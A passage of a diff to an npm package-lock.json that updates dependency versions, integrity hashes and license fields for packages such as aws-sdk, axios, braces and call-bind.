       "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==",
+      "license": "ISC",
       "engines": {
         "node": ">= 4.0.0"
       }
@@ -3308,14 +3441,19 @@
       "resolved": "https://registry.npmjs.org/atomically/-/atomically-1.7.0.tgz",
       "integrity": "sha512-Xcz9l0z7y9yQ9rdDaxlmaI4uJHf/T8g9hOEzJcsEqX2SjCj4J20uK7+ldkDHMbpJDK76wF7xEIgxc/vSlsfw5w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=10.12.0"
       }
     },
     "node_modules/available-typed-arrays": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz",
-      "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==",
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz",
+      "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==",
+      "license": "MIT",
+      "dependencies": {
+        "possible-typed-array-names": "^1.0.0"
+      },
       "engines": {
         "node": ">= 0.4"
       },
@@ -3324,9 +3462,11 @@
       }
     },
     "node_modules/aws-sdk": {
-      "version": "2.1506.0",
-      "resolved": "https://registry.npmjs.org/aws-sdk/-/aws-sdk-2.1506.0.tgz",
-      "integrity": "sha512-jSBbofvPa7HJykyM7Xph9psMcWPl6UgdiKjG2E7fHJb6psW+BZN9ZvSGOBvRIlT8Y6+JGzI0qkouS1OLK9slhg==",
+      "version": "2.1692.0",
+      "resolved": "https://registry.npmjs.org/aws-sdk/-/aws-sdk-2.1692.0.tgz",
+      "integrity": "sha512-x511uiJ/57FIsbgUe5csJ13k3uzu25uWQE+XqfBis/sB0SFoiElJWXRkgEAUh0U6n40eT3ay5Ue4oPkRMu1LYw==",
+      "hasInstallScript": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "buffer": "4.9.2",
         "events": "1.1.1",
@@ -3337,7 +3477,7 @@
         "url": "0.10.3",
         "util": "^0.12.4",
         "uuid": "8.0.0",
-        "xml2js": "0.5.0"
+        "xml2js": "0.6.2"
       },
       "engines": {
         "node": ">= 10.0.0"
@@ -3356,14 +3496,16 @@
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.0.0.tgz",
       "integrity": "sha512-jOXGuXZAWdsTH7eZLtyXMqUb9EcWMGZNbL9YcGBJl4MH4nrxHmZJhEHvyLFrkxo+28uLb/NYRcStH48fnD0Vzw==",
+      "license": "MIT",
       "bin": {
         "uuid": "dist/bin/uuid"
       }
     },
     "node_modules/aws-sdk/node_modules/xml2js": {
-      "version": "0.5.0",
-      "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.5.0.tgz",
-      "integrity": "sha512-drPFnkQJik/O+uPKpqSgr22mpuFHqKdbS835iAQrUC73L2F5WkboIRd63ai/2Yg6I1jzifPFKH2NTK+cfglkIA==",
+      "version": "0.6.2",
+      "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.6.2.tgz",
+      "integrity": "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA==",
+      "license": "MIT",
       "dependencies": {
         "sax": ">=0.6.0",
         "xmlbuilder": "~11.0.0"
@@ -3377,22 +3519,25 @@
       "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
       "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": "*"
       }
     },
     "node_modules/aws4": {
-      "version": "1.12.0",
-      "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.12.0.tgz",
-      "integrity": "sha512-NmWvPnx0F1SfrQbYwOi7OeaNGokp9XhzNioJ/CSBs8Qa4vxug81mhJEAVZwxXuBmYB5KDRfMq/F3RR0BIU7sWg==",
-      "dev": true
+      "version": "1.13.2",
+      "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.13.2.tgz",
+      "integrity": "sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/axios": {
-      "version": "1.6.2",
-      "resolved": "https://registry.npmjs.org/axios/-/axios-1.6.2.tgz",
-      "integrity": "sha512-7i24Ri4pmDRfJTR7LDBhsOTtcm+9kjX5WiY1X3wIisx6G9So3pfMkEiU7emUBe46oceVImccTEM3k6C5dbVW8A==",
+      "version": "1.10.0",
+      "resolved": "https://registry.npmjs.org/axios/-/axios-1.10.0.tgz",
+      "integrity": "sha512-/1xYAC4MP/HEG+3duIhFr4ZQXR4sQXOIe+o6sdqzeykGLx6Upp/1p8MHqhINOvGeP7xyNHe7tsiJByc4SSVUxw==",
+      "license": "MIT",
       "dependencies": {
-        "follow-redirects": "^1.15.0",
+        "follow-redirects": "^1.15.6",
         "form-data": "^4.0.0",
         "proxy-from-env": "^1.1.0"
       }
@@ -3400,7 +3545,8 @@
     "node_modules/balanced-match": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
-      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "license": "MIT"
     },
     "node_modules/base64-js": {
       "version": "1.5.1",
@@ -3419,13 +3565,15 @@
           "type": "consulting",
           "url": "https://feross.org/support"
         }
-      ]
+      ],
+      "license": "MIT"
     },
     "node_modules/bcrypt-pbkdf": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
       "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "tweetnacl": "^0.14.3"
       }
@@ -3434,20 +3582,26 @@
       "version": "2.2.3",
       "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-2.2.3.tgz",
       "integrity": "sha512-NzUnlZexiaH/46WDhANlyR2bXRopNg4F/zuSA3OpZnllCUgRaOF2znDioDWrmbNVsuZk6l9pMquQB38cfBZwkQ==",
-      "dev": true
+      "dev": true,
+      "license": "Apache-2.0"
     },
     "node_modules/binary-extensions": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
-      "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz",
+      "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/bl": {
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz",
       "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==",
+      "license": "MIT",
       "dependencies": {
         "buffer": "^5.5.0",
         "inherits": "^2.0.4",
@@ -3472,6 +3626,7 @@
           "url": "https://feross.org/support"
         }
       ],
+      "license": "MIT",
       "dependencies": {
         "base64-js": "^1.3.1",
         "ieee754": "^1.1.13"
@@ -3480,28 +3635,32 @@
     "node_modules/bluebird": {
       "version": "3.7.2",
       "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
-      "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg=="
+      "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==",
+      "license": "MIT"
     },
     "node_modules/bowser": {
       "version": "2.11.0",
       "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.11.0.tgz",
-      "integrity": "sha512-AlcaJBi/pqqJBIQ8U9Mcpc9i8Aqxn88Skv5d+xBX006BY5u8N3mGLHa5Lgppa7L/HfwgwLgZ6NYs+Ag6uUmJRA=="
+      "integrity": "sha512-AlcaJBi/pqqJBIQ8U9Mcpc9i8Aqxn88Skv5d+xBX006BY5u8N3mGLHa5Lgppa7L/HfwgwLgZ6NYs+Ag6uUmJRA==",
+      "license": "MIT"
     },
     "node_modules/brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
-      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+      "version": "1.1.12",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
+      "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==",
+      "license": "MIT",
       "dependencies": {
         "balanced-match": "^1.0.0",
         "concat-map": "0.0.1"
       }
     },
     "node_modules/braces": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
-      "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
+      "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
+      "license": "MIT",
       "dependencies": {
-        "fill-range": "^7.0.1"
+        "fill-range": "^7.1.1"
       },
       "engines": {
         "node": ">=8"
@@ -3511,12 +3670,13 @@
       "version": "1.3.1",
       "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz",
       "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/browserslist": {
-      "version": "4.22.1",
-      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.22.1.tgz",
-      "integrity": "sha512-FEVc202+2iuClEhZhrWy6ZiAcRLvNMyYcxZ8raemul1DYVOVdFsbqckWLdsixQZCpJlwe77Z3UTalE7jsjnKfQ==",
+      "version": "4.25.1",
+      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.25.1.tgz",
+      "integrity": "sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==",
       "dev": true,
       "funding": [
         {
@@ -3532,11 +3692,12 @@
           "url": "https://github.com/sponsors/ai"
         }
       ],
+      "license": "MIT",
       "dependencies": {
-        "caniuse-lite": "^1.0.30001541",
-        "electron-to-chromium": "^1.4.535",
-        "node-releases": "^2.0.13",
-        "update-browserslist-db": "^1.0.13"
+        "caniuse-lite": "^1.0.30001726",
+        "electron-to-chromium": "^1.5.173",
+        "node-releases": "^2.0.19",
+        "update-browserslist-db": "^1.1.3"
       },
       "bin": {
         "browserslist": "cli.js"
@@ -3549,6 +3710,7 @@
       "version": "4.9.2",
       "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz",
       "integrity": "sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg==",
+      "license": "MIT",
       "dependencies": {
         "base64-js": "^1.0.2",
         "ieee754": "^1.1.4",
@@ -3559,6 +3721,7 @@
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz",
       "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==",
+      "license": "MIT",
       "dependencies": {
         "buffer-alloc-unsafe": "^1.1.0",
         "buffer-fill": "^1.0.0"
@@ -3567,12 +3730,14 @@
     "node_modules/buffer-alloc-unsafe": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz",
-      "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg=="
+      "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==",
+      "license": "MIT"
     },
     "node_modules/buffer-crc32": {
       "version": "0.2.13",
       "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz",
       "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==",
+      "license": "MIT",
       "engines": {
         "node": "*"
       }
@@ -3580,18 +3745,21 @@
     "node_modules/buffer-fill": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz",
-      "integrity": "sha512-T7zexNBwiiaCOGDg9xNX9PBmjrubblRkENuptryuI64URkXDFum9il/JGL8Lm8wYfAXpredVXXZz7eMHilimiQ=="
+      "integrity": "sha512-T7zexNBwiiaCOGDg9xNX9PBmjrubblRkENuptryuI64URkXDFum9il/JGL8Lm8wYfAXpredVXXZz7eMHilimiQ==",
+      "license": "MIT"
     },
     "node_modules/buffer-from": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
       "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/builtin-modules": {
       "version": "3.3.0",
       "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz",
       "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       },
@@ -3602,12 +3770,14 @@
     "node_modules/builtins": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/builtins/-/builtins-1.0.3.tgz",
-      "integrity": "sha512-uYBjakWipfaO/bXI7E8rq6kpwHRZK5cNYrUv2OzZSI/FvmdMyXJ2tG9dKcjEC5YHmHpUAwsargWIZNWdxb/bnQ=="
+      "integrity": "sha512-uYBjakWipfaO/bXI7E8rq6kpwHRZK5cNYrUv2OzZSI/FvmdMyXJ2tG9dKcjEC5YHmHpUAwsargWIZNWdxb/bnQ==",
+      "license": "MIT"
     },
     "node_modules/cacheable-lookup": {
       "version": "5.0.4",
       "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz",
       "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==",
+      "license": "MIT",
       "engines": {
         "node": ">=10.6.0"
       }
@@ -3616,6 +3786,7 @@
       "version": "7.0.4",
       "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.4.tgz",
       "integrity": "sha512-v+p6ongsrp0yTGbJXjgxPow2+DL93DASP4kXCDKb8/bwRtt9OEF3whggkkDkGNzgcWy2XaF4a8nZglC7uElscg==",
+      "license": "MIT",
       "dependencies": {
         "clone-response": "^1.0.2",
         "get-stream": "^5.1.0",
@@ -3633,6 +3804,7 @@
       "version": "5.2.0",
       "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
       "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
+      "license": "MIT",
       "dependencies": {
         "pump": "^3.0.0"
       },
@@ -3647,6 +3819,7 @@
       "version": "2.4.0",
       "resolved": "https://registry.npmjs.org/cachedir/-/cachedir-2.4.0.tgz",
       "integrity": "sha512-9EtFOZR8g22CL7BWjJ9BUx1+A/djkofnyW3aOXZORNW2kxoUpx2h+uN2cOqwPmFhnpVmxg+KW2OjOSgChTEvsQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -3656,6 +3829,7 @@
       "resolved": "https://registry.npmjs.org/caching-transform/-/caching-transform-4.0.0.tgz",
       "integrity": "sha512-kpqOvwXnjjN44D89K5ccQC+RUrsy7jB/XLlRrx0D7/2HNcTPqzsb6XgYoErwko6QsV184CA2YgS1fxDiiDZMWA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "hasha": "^5.0.0",
         "make-dir": "^3.0.0",
@@ -3671,6 +3845,7 @@
       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
       "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "semver": "^6.0.0"
       },
@@ -3686,6 +3861,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -3695,6 +3871,7 @@
       "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
       "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "imurmurhash": "^0.1.4",
         "is-typedarray": "^1.0.0",
@@ -3703,13 +3880,47 @@
       }
     },
     "node_modules/call-bind": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.5.tgz",
-      "integrity": "sha512-C3nQxfFZxFRVoJoGKKI8y3MOEo129NQ+FgQ08iye+Mk4zNZZGdjfs06bVTr+DBSlA66Q2VEcMki/cUCP4SercQ==",
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz",
+      "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==",
+      "license": "MIT",
       "dependencies": {
-        "function-bind": "^1.1.2",
-        "get-intrinsic": "^1.2.1",
-        "set-function-length": "^1.1.1"
+        "call-bind-apply-helpers": "^1.0.0",
+        "es-define-property": "^1.0.0",
+        "get-intrinsic": "^1.2.4",
+        "set-function-length": "^1.2.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/call-bind-apply-helpers": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
+      "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/call-bound": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
+      "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bind-apply-helpers": "^1.0.2",
+        "get-intrinsic": "^1.3.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -3720,6 +3931,7 @@
       "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
       "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -3729,6 +3941,7 @@
       "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
       "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -3738,6 +3951,7 @@
       "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-6.2.2.tgz",
       "integrity": "sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "camelcase": "^5.3.1",
         "map-obj": "^4.0.0",
@@ -3755,14 +3969,15 @@
       "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz",
       "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/caniuse-lite": {
-      "version": "1.0.30001565",
-      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001565.tgz",
-      "integrity": "sha512-xrE//a3O7TP0vaJ8ikzkD2c2NgcVUvsEe2IvFTntV4Yd1Z9FVzh+gW+enX96L0psrbaFMcVcH2l90xNuGDWc8w==",
+      "version": "1.0.30001727",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001727.tgz",
+      "integrity": "sha512-pB68nIHmbN6L/4C6MH1DokyR3bYqFwjaSs/sWDHGj4CTcFtQUQMuJftVwWkXq7mNWOybD3KhUv3oWHoGxgP14Q==",
       "dev": true,
       "funding": [
         {
@@ -3777,19 +3992,22 @@
           "type": "github",
           "url": "https://github.com/sponsors/ai"
         }
-      ]
+      ],
+      "license": "CC-BY-4.0"
     },
     "node_modules/caseless": {
       "version": "0.12.0",
       "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
       "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==",
-      "dev": true
+      "dev": true,
+      "license": "Apache-2.0"
     },
     "node_modules/chai": {
-      "version": "4.3.10",
-      "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.10.tgz",
-      "integrity": "sha512-0UXG04VuVbruMUYbJ6JctvH0YnC/4q3/AkT18q4NaITo91CUm0liMS9VqzT9vZhVQ/1eqPanMWjBM+Juhfb/9g==",
+      "version": "4.5.0",
+      "resolved": "https://registry.npmjs.org/chai/-/chai-4.5.0.tgz",
+      "integrity": "sha512-RITGBfijLkBddZvnn8jdqoTypxvqbOLYQkGGxXzeFjVHvudaPw0HNFD9x928/eUwYWd2dPCugVqspGALTZZQKw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "assertion-error": "^1.1.0",
         "check-error": "^1.0.3",
@@ -3797,28 +4015,30 @@
         "get-func-name": "^2.0.2",
         "loupe": "^2.3.6",
         "pathval": "^1.1.1",
-        "type-detect": "^4.0.8"
+        "type-detect": "^4.1.0"
       },
       "engines": {
         "node": ">=4"
       }
     },
     "node_modules/chai-as-promised": {
-      "version": "7.1.1",
-      "resolved": "https://registry.npmjs.org/chai-as-promised/-/chai-as-promised-7.1.1.tgz",
-      "integrity": "sha512-azL6xMoi+uxu6z4rhWQ1jbdUhOMhis2PvscD/xjLqNMkv3BPPp2JyyuTHOrf9BOosGpNQ11v6BKv/g57RXbiaA==",
+      "version": "7.1.2",
+      "resolved": "https://registry.npmjs.org/chai-as-promised/-/chai-as-promised-7.1.2.tgz",
+      "integrity": "sha512-aBDHZxRzYnUYuIAIPBH2s511DjlKPzXNlXSGFC8CwmroWQLfrW0LtE1nK3MAwwNhJPa9raEjNCmRoFpG0Hurdw==",
       "dev": true,
+      "license": "WTFPL",
       "dependencies": {
         "check-error": "^1.0.2"
       },
       "peerDependencies": {
-        "chai": ">= 2.1.2 < 5"
+        "chai": ">= 2.1.2 < 6"
       }
     },
     "node_modules/chalk": {
       "version": "4.1.2",
       "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
       "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^4.1.0",
         "supports-color": "^7.1.0"
@@ -3834,6 +4054,7 @@
       "version": "7.2.0",
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
       "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^4.0.0"
       },
@@ -3844,13 +4065,15 @@
     "node_modules/chardet": {
       "version": "0.7.0",
       "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz",
-      "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA=="
+      "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==",
+      "license": "MIT"
     },
     "node_modules/check-error": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.3.tgz",
       "integrity": "sha512-iKEoDYaRmd1mxM90a2OEfWhjsjPpYPuQ+lMYsoxB126+t8fw7ySEO48nmDg5COTjxDI65/Y2OWpeEHk3ZOe8zg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "get-func-name": "^2.0.2"
       },
@@ -3862,6 +4085,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/child-process-ext/-/child-process-ext-2.1.1.tgz",
       "integrity": "sha512-0UQ55f51JBkOFa+fvR76ywRzxiPwQS3Xe8oe5bZRphpv+dIMeerW5Zn5e4cUy4COJwVtJyU0R79RMnw+aCqmGA==",
+      "license": "ISC",
       "dependencies": {
         "cross-spawn": "^6.0.5",
         "es5-ext": "^0.10.53",
@@ -3871,15 +4095,10 @@
       }
     },
     "node_modules/chokidar": {
-      "version": "3.5.3",
-      "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
